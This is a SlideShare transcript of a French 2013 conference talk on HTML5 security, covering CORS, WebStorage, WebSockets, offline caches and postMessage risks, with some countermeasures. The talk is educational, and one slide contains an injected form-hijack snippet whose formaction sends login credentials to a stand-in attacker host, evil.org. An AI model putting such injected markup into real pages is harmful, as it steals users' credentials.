2013 04-04-html5-security-v2
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

2013 04-04-html5-security-v2

le

  • 1,634 vues

 

Statistiques

Vues

Total des vues
1,634
Vues sur SlideShare
1,056
Vues externes
578

Actions

J'aime
0
Téléchargements
33
Commentaires
0

5 Ajouts 578

http://www.scoop.it 332
http://blog.gioria.org 237
http://88.191.157.145 4
http://www.directrss.co.il 4
http://webcache.googleusercontent.com 1

Accessibilité

Catégories

Détails de l'import

Uploaded via as Adobe PDF

Droits d'utilisation

© Tous droits réservés

Report content

Signalé comme inapproprié Signaler comme inapproprié
Signaler comme inapproprié

Indiquez la raison pour laquelle vous avez signalé cette présentation comme n'étant pas appropriée.

Annuler
  • Full Name Full Name Comment goes here.
    Êtes-vous sûr de vouloir
    Votre message apparaîtra ici
    Processing...
Poster un commentaire
Modifier votre commentaire

2013 04-04-html5-security-v2 Presentation Transcript

  • 1. et  la  sécurité un  point  d’étape Sébas3en  Gioria OWASP  France  Leader   GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    FranceFriday, April 5, 13
  • 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPointFriday, April 5, 13 2
  • 3. Agenda • Un  peu  d’histoire • HTML5  pour  les  nuls  en  4mn  2s • Nouvelles  a;aques  et  protec>ons  ? • Références Oui,  vous  avez  bien  lu  quelque  chose  ici 3Friday, April 5, 13
  • 4. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 5. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 6. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest 20  ans,  noces  de  porcelaine... Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4Friday, April 5, 13
  • 7. L’état  de  la  norme par  contre  il  y  a  d’autres  animaux... 5Friday, April 5, 13
  • 8. Eléments  intéressants  de  HTML5 mais  pas  dans  ce  slide 6Friday, April 5, 13
  • 9. 4mn  2s • Nouvelles  balises – On  n’est  pas  la  pour  parler  de  peinture... • Nouvelles  APIs –WebSocket –WebMessaging –IndexedDB –OffLine  Web  ApplicaBon –WebStorage  (votre  nouveau  DropBox  ?  ...) –Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom   est  intéressant...) Ni  dans  celui  la.... 7Friday, April 5, 13
  • 10. 4mn  2s • WebSocket : Permet d’effectuer des connexions persistantes et bi- directionnelles • mécanisme  de  “Push”  possible • interface  en  cours  de  finalisaBon/spécificaBons • nécessite  un  serveur  “compaBble” • API  minimaliste  (send,  receive  via  event) • hPp://www.w3.org/TR/websockets/ en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?   8Friday, April 5, 13
  • 11. 4mn  2s • WebMessaging : communication inter- documents HTML • via  la  méthode  window.postMessage(); • pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de   filtre  de  type  anB-­‐XSS  ....) • vérificaBon  de  l’origine  a  la  charge  de   l’applicaBon  receptrice. • il  est  possible  de  transporter  du  JSON  :) • hPp://www.w3.org/TR/webmessaging/ tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques 9Friday, April 5, 13
  • 12. 4mn  2s • IndexedDB; la Web SQL Database... •API  synchrone  et  asynchrone •pensée  pour  JavaScript;  stockage  d’objets   •hPp://www.w3.org/TR/IndexedDB/ me;re  des  oeufs  était  difficile 10Friday, April 5, 13
  • 13. 4mn  2s • Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté. –via  navigator.onLine –mise  en  cache  des  données  nécessaires(HTML,  CSS,   JavaScript...) –hPp://www.w3.org/TR/html5/offline.html et  du  chocolat  aussi 11Friday, April 5, 13
  • 14. 4mn  2s • WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données • deux  type  de  stockage  :  local  ou  de  session • possibilité  de  stocker  des  objets  JSON • possibilité  de  stocker  de  manière  régulière • hPp://www.w3.org/TR/webstorage/ 12Friday, April 5, 13
  • 15. Sécurité  ? 13Friday, April 5, 13
  • 16. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 17. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 18. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14Friday, April 5, 13
  • 19. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   (Web,  SQL,  ..) 14Friday, April 5, 13
  • 20. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc (Web,  SQL,  ..) 14Friday, April 5, 13
  • 21. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc API  ... (Web,  SQL,  ..) 14Friday, April 5, 13
  • 22. FalsificaBon  de  Forms • Il  est  possible  de  contrôler  une  Forms  en  dehors   de  l’élément  “form” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 15Friday, April 5, 13
  • 23. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> 16Friday, April 5, 13
  • 24. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code 16Friday, April 5, 13
  • 25. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  • 26. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16Friday, April 5, 13
  • 27. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms   ini3ale  est  appelée 16Friday, April 5, 13
  • 28. Protocol/content  Handlers • Il  est  possible  d’enregistrer  des  handlers  de   protocole  ou  de  type  de  fichiers   personalisés   • sms:// • applica>on/pdf Il  est  possible  (mais  pas  recommandé)  de  changer   les  handlers  standards  (dépend  des  navigateurs) Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur   son  autorisa3on   17Friday, April 5, 13
  • 29. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 30. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 31. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 32. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com non,  vous  avez  bien  lu...Un  boeuf  !   18Friday, April 5, 13
  • 33. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 34. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 35. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 36. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 37. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 38. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  • 39. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19Friday, April 5, 13
  • 40. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 41. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 42. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 43. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  • 44. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19Friday, April 5, 13
  • 45. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 46. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  • 47. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19Friday, April 5, 13
  • 48. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 49. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  • 50. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19Friday, April 5, 13
  • 51. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 52. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 53. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 54. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 55. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19Friday, April 5, 13
  • 56. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19Friday, April 5, 13
  • 57. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr POST  /endpoint  HTTP/1.1 .....(contenu  de  la  page  interne) intranet 19Friday, April 5, 13
  • 58. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 59. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 60. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 61. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 62. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 63. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  • 64. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20Friday, April 5, 13
  • 65. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 66. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr HTTP/1.1  200  Ok <iframe  src=... www.cible.com 20Friday, April 5, 13
  • 67. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 68. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 69. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 70. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 71. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p Req uest www.cible.com 20Friday, April 5, 13
  • 72. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 73. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 74. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p www.cible.com Req uest 20Friday, April 5, 13
  • 75. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 76. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 77. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com XML H;p Req uest 20Friday, April 5, 13
  • 78. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20Friday, April 5, 13
  • 79. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 80. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 81. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 82. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 83. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS débrancher  le  cable.... franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21Friday, April 5, 13
  • 84. WebStorage • Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce   qui  est  stocké/accéder ➡DOS  via  les  disques  par  remplissage • L’injec>on  de  Javascript  peut  bypasser  la   limita>on  du  contrôle  d’accès. ➡Vol  de  Sessions ➡Vol  de  données  sensibles ➡Tracking  d’uBlisateurs 22Friday, April 5, 13
  • 85. All  you  disk  is  belong  to  US  ? bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 86. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 87. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 88. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 89. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 90. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... • En  cours  de  correc>on,  mais  démonstra>on   intéressante.... • Tests  à  h;p://www.filldisk.com/ bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23Friday, April 5, 13
  • 91. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 92. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 93. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)   persistants  perme]ant  de  suivre  l’u3lisateur J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24Friday, April 5, 13
  • 94. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 95. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 96. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 97. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 98. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 99. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 100. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 101. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 102. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 103. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 104. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 105. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 106. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 107. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25Friday, April 5, 13
  • 108. Websocket  Menaces • Parmi  les  a;aques  possibles,  certaines  sont   triviales:   • Shell  Distant   • Botnet  Web   • via  un  XSS  ou  tout  simplement  en  se  connectant  à   un  site  Web. • Port  scanning... 26Friday, April 5, 13
  • 109. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 110. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 111. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 112. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 113. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 114. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 115. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 116. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 117. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 118. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 119. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 120. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 121. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 122. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 123. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 124. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   HTTP/1.1  200  Ok Contenu  falsifié 27 Ca  me  rappelle  les  proxy  SFR...Friday, April 5, 13
  • 125. OffLine  Web  ApplicaBon <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> • Possibilité  d’avoir  des  a;aques  de  Type   APT  ? • Possibilité  de  pollu>on  des  caches  de   navigateurs  (via  un  point  d’accès   malveillant);  meme  du  SSL Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT.... 28Friday, April 5, 13
  • 126. WebMessage • Possibilité  de  perte  de  données  sensibles  (si   envoyées  à  une  “mauvaise  iframe”) postMessage() Page  du  site  “interne” <iframe  src=”outside.control” 29Friday, April 5, 13
